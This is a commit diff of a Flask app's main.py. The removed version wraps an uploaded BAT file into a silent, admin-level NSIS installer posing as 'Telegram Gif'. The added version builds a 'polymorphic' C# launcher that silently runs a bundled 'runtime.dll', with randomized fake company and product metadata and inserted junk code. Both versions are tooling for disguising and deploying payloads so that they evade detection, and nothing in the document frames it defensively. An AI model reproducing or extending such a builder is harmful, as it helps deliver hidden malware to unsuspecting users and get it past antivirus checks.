sigyllly commited on
Commit
0b709b9
·
verified ·
1 Parent(s): 1de3b07

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +147 -113
main.py CHANGED
@@ -1,122 +1,156 @@
1
- from flask import Flask, request, send_file, render_template_string
2
  import os
 
 
3
  import subprocess
 
4
 
5
  app = Flask(__name__)
6
- UPLOAD_FOLDER = 'uploads'
7
- app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
8
- app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024 # 16MB max upload size
9
-
10
- # HTML template for the index page
11
- HTML_TEMPLATE = """
12
- <!DOCTYPE html>
13
- <html lang="en">
14
- <head>
15
- <meta charset="UTF-8">
16
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
17
- <title>NSIS Installer Creator</title>
18
- </head>
19
- <body>
20
- <h1>Upload Files to Create NSIS Installer</h1>
21
- <form action="/upload" method="post" enctype="multipart/form-data">
22
- <label for="bat_file">Upload BAT file:</label>
23
- <input type="file" name="bat_file" required><br><br>
24
- <input type="submit" value="Upload and Compile">
25
- </form>
26
- </body>
27
- </html>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
28
  """
29
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
30
  @app.route('/')
31
  def index():
32
- return render_template_string(HTML_TEMPLATE)
33
-
34
- @app.route('/upload', methods=['POST'])
35
- def upload_files():
36
- if 'bat_file' not in request.files:
37
- return "No file part", 400
38
-
39
- bat_file = request.files['bat_file']
40
-
41
- if bat_file.filename == '':
42
- return "No selected file", 400
43
-
44
- # Define the path to save the uploaded file
45
- bat_filename = bat_file.filename
46
- bat_path = os.path.join(app.config['UPLOAD_FOLDER'], bat_filename)
47
-
48
- # Ensure the upload directory exists
49
- if not os.path.exists(app.config['UPLOAD_FOLDER']):
50
- os.makedirs(app.config['UPLOAD_FOLDER'])
51
-
52
- # Save the uploaded file
53
- bat_file.save(bat_path)
54
-
55
- # Get the full path of the uploaded file
56
- full_bat_path = os.path.abspath(bat_path)
57
-
58
- # Debugging: Print the full path
59
- print(f"Uploaded BAT file full path: {full_bat_path}")
60
-
61
- # Construct the NSIS script using the full path
62
- nsi_script = f"""!include "MUI2.nsh"
63
-
64
- # Define installer name and version
65
- Outfile "bont.exe"
66
- InstallDir "C:\ProgramData"
67
-
68
- # Set the name of the application
69
- Name "Telegram Gif"
70
- Caption "bont 1.4.44.3"
71
- VIProductVersion "1.4.44.3"
72
-
73
- # Set the output directory and the base name of the installer file
74
- SetCompressor /SOLID lzma
75
-
76
- RequestExecutionLevel admin
77
-
78
- # Silent install settings
79
- SilentInstall silent
80
- SilentUninstall silent
81
-
82
- # Application metadata
83
- VIAddVersionKey "ProductName" "Telegram Gif"
84
- VIAddVersionKey "FileVersion" "1.4.44.3"
85
- VIAddVersionKey "CompanyName" "BitBrowser"
86
- VIAddVersionKey "LegalCopyright" "Copyright © 2024 BitBrowser"
87
- VIAddVersionKey "FileDescription" "Telegram Gif is a tool designed to enhance GIF handling and sharing on Telegram."
88
- VIAddVersionKey "ProductVersion" "1.4.44.3"
89
- VIAddVersionKey "OriginalFilename" "telegramm.exe"
90
-
91
- # Define installer sections
92
- Section "Install"
93
- SetOutPath "$INSTDIR"
94
-
95
- # Files to install using the full path
96
- File "{full_bat_path}"
97
-
98
- SectionEnd
99
- """
100
-
101
- nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')
102
- with open(nsi_path, 'w') as nsi_file:
103
- nsi_file.write(nsi_script)
104
-
105
- # Debugging: Print the NSIS script path
106
- print(f"NSIS script written to: {nsi_path}")
107
-
108
- # Compile the NSIS script
109
- try:
110
- result = subprocess.run(['makensis', nsi_path], check=True, capture_output=True, text=True)
111
- return f"Compilation successful! Download here: <a href='/download/bont.exe'>bont.exe</a>", 200
112
- except subprocess.CalledProcessError as e:
113
- return f"Compilation failed: {e.stderr}", 400
114
-
115
- @app.route('/download/<filename>')
116
- def download_file(filename):
117
- return send_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), as_attachment=True)
118
-
119
  if __name__ == '__main__':
120
- if not os.path.exists(UPLOAD_FOLDER):
121
- os.makedirs(UPLOAD_FOLDER)
122
- app.run(host='0.0.0.0', port=7860)
 
 
1
  import os
2
+ import random
3
+ import string
4
  import subprocess
5
+ from flask import Flask, render_template_string, send_file
6
 
7
  app = Flask(__name__)
8
+
9
+ # Step 1: Define the base C# template without AssemblyCulture
10
+ base_cs_template = """
11
+ using System;
12
+ using System.Diagnostics;
13
+ using System.IO;
14
+ using System.Reflection;
15
+
16
+ [assembly: AssemblyTitle("<<title>>")]
17
+ [assembly: AssemblyDescription("<<description>>")]
18
+ [assembly: AssemblyConfiguration("<<configuration>>")]
19
+ [assembly: AssemblyCompany("<<company>>")]
20
+ [assembly: AssemblyProduct("<<product>>")]
21
+ [assembly: AssemblyCopyright("<<copyright>>")]
22
+ [assembly: AssemblyTrademark("<<trademark>>")]
23
+ [assembly: AssemblyVersion("<<version>>")]
24
+ [assembly: AssemblyFileVersion("<<file_version>>")]
25
+ [assembly: AssemblyInformationalVersion("<<informational_version>>")]
26
+
27
+ class Program
28
+ {
29
+ static void Main()
30
+ {
31
+ string originalFilePath = Path.Combine(Directory.GetCurrentDirectory(), "runtime.dll");
32
+
33
+ if (File.Exists(originalFilePath))
34
+ {
35
+ <<control_flow_junk>>
36
+ Process.Start(new ProcessStartInfo(originalFilePath, "/VERYSILENT /PASSWORD=YourSecurePassword") { UseShellExecute = false });
37
+ <<additional_obfuscated_code>>
38
+ Environment.Exit(0); // Exit immediately
39
+ }
40
+ }
41
+
42
+ <<obfuscated_methods>>
43
+ }
44
  """
45
 
46
+ # Utility functions to generate random text and versions
47
+ def random_string(length):
48
+ return ''.join(random.choice(string.ascii_letters) for _ in range(length))
49
+
50
+ def random_version():
51
+ major = random.randint(1, 5)
52
+ minor = random.randint(0, 9)
53
+ build = random.randint(0, 99)
54
+ revision = random.randint(0, 99)
55
+ return f"{major}.{minor}.{build}.{revision}"
56
+
57
+ # Lists of meaningful words for assembly info
58
+ titles = ['File Manager', 'Data Analyzer', 'Task Tracker', 'Cloud Backup', 'Image Editor', 'Video Converter']
59
+ descriptions = ['This application helps in managing files efficiently.', 'Analyze data with advanced algorithms and insights.', 'Keep track of your tasks and deadlines easily.', 'Backup your data securely to the cloud.', 'Edit your images with powerful tools and filters.', 'Convert videos to various formats quickly.']
60
+ companies = ['Tech Innovations', 'Global Solutions', 'Data Services', 'Creative Minds', 'Secure Systems', 'Future Technologies']
61
+ trademarks = ['Innovative Solutions', 'Smart Technology', 'NextGen Apps', 'Empowering Users', 'Reliable Services', 'Creative Design']
62
+
63
+ def generate_control_flow_junk():
64
+ conditions = [
65
+ "if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }",
66
+ "for (int i = 0; i < 1; i++) { Console.WriteLine(\"Loop once\"); }",
67
+ "if (false) { Console.WriteLine(\"This will never happen\"); }",
68
+ "while (false) { break; }"
69
+ ]
70
+ return random.choice(conditions)
71
+
72
+ def generate_obfuscated_methods():
73
+ methods = [
74
+ f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}',
75
+ f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}',
76
+ f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}',
77
+ f'string {random_string(6)}() {{ return "{random_string(12)}"; }}'
78
+ ]
79
+ return "\n ".join(random.sample(methods, k=2))
80
+
81
+ def generate_additional_obfuscated_code():
82
+ snippets = [
83
+ "#pragma warning disable CS0219\nint unused = 123;\n#pragma warning restore CS0219",
84
+ "string dummy = \"abc\";",
85
+ "Console.WriteLine(\"Executing...\");"
86
+ ]
87
+ return random.choice(snippets)
88
+
89
+ # Route to display the button and trigger C# script generation
90
  @app.route('/')
91
  def index():
92
+ # HTML embedded directly in the app using render_template_string
93
+ html_content = """
94
+ <!DOCTYPE html>
95
+ <html lang="en">
96
+ <head>
97
+ <meta charset="UTF-8">
98
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
99
+ <title>Script Generator</title>
100
+ </head>
101
+ <body>
102
+ <h1>Generate and Compile C# Script</h1>
103
+ <form action="/generate" method="post">
104
+ <button type="submit">Generate & Compile</button>
105
+ </form>
106
+ </body>
107
+ </html>
108
+ """
109
+ return render_template_string(html_content)
110
+
111
+ @app.route('/generate', methods=['POST'])
112
+ def generate_script():
113
+ # Step 7: Generate the randomized assembly information using meaningful words
114
+ assembly_info = {
115
+ 'title': random.choice(titles),
116
+ 'description': random.choice(descriptions),
117
+ 'configuration': '', # Can leave empty
118
+ 'company': random.choice(companies),
119
+ 'product': "MyProduct",
120
+ 'copyright': f"Copyright © {random.choice(companies)} 2024",
121
+ 'trademark': random.choice(trademarks),
122
+ 'version': random_version(),
123
+ 'file_version': random_version(),
124
+ 'informational_version': random_version()
125
+ }
126
+
127
+ # Step 8: Replace placeholders in the base template
128
+ modified_cs = base_cs_template.replace('<<title>>', assembly_info['title']) \
129
+ .replace('<<description>>', assembly_info['description']) \
130
+ .replace('<<configuration>>', assembly_info['configuration']) \
131
+ .replace('<<company>>', assembly_info['company']) \
132
+ .replace('<<product>>', assembly_info['product']) \
133
+ .replace('<<copyright>>', assembly_info['copyright']) \
134
+ .replace('<<trademark>>', assembly_info['trademark']) \
135
+ .replace('<<version>>', assembly_info['version']) \
136
+ .replace('<<file_version>>', assembly_info['file_version']) \
137
+ .replace('<<informational_version>>', assembly_info['informational_version']) \
138
+ .replace('<<control_flow_junk>>', generate_control_flow_junk()) \
139
+ .replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \
140
+ .replace('<<obfuscated_methods>>', generate_obfuscated_methods())
141
+
142
+ # Save the modified C# script to a file
143
+ script_path = 'polymorphic_program.cs'
144
+ with open(script_path, 'w') as file:
145
+ file.write(modified_cs)
146
+
147
+ # Step 10: Compile the C# script using csc
148
+ compile_command = f'csc /target:winexe /platform:x64 /out:run.exe {script_path} /win32icon:app.ico /win32manifest:app.manifest'
149
+ subprocess.run(compile_command, shell=False, check=False)
150
+
151
+ # Provide a link to download the compiled executable
152
+ return send_file('run.exe', as_attachment=True)
153
+
154
+ # Start the Flask app
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
155
  if __name__ == '__main__':
156
+ app.run(debug=True)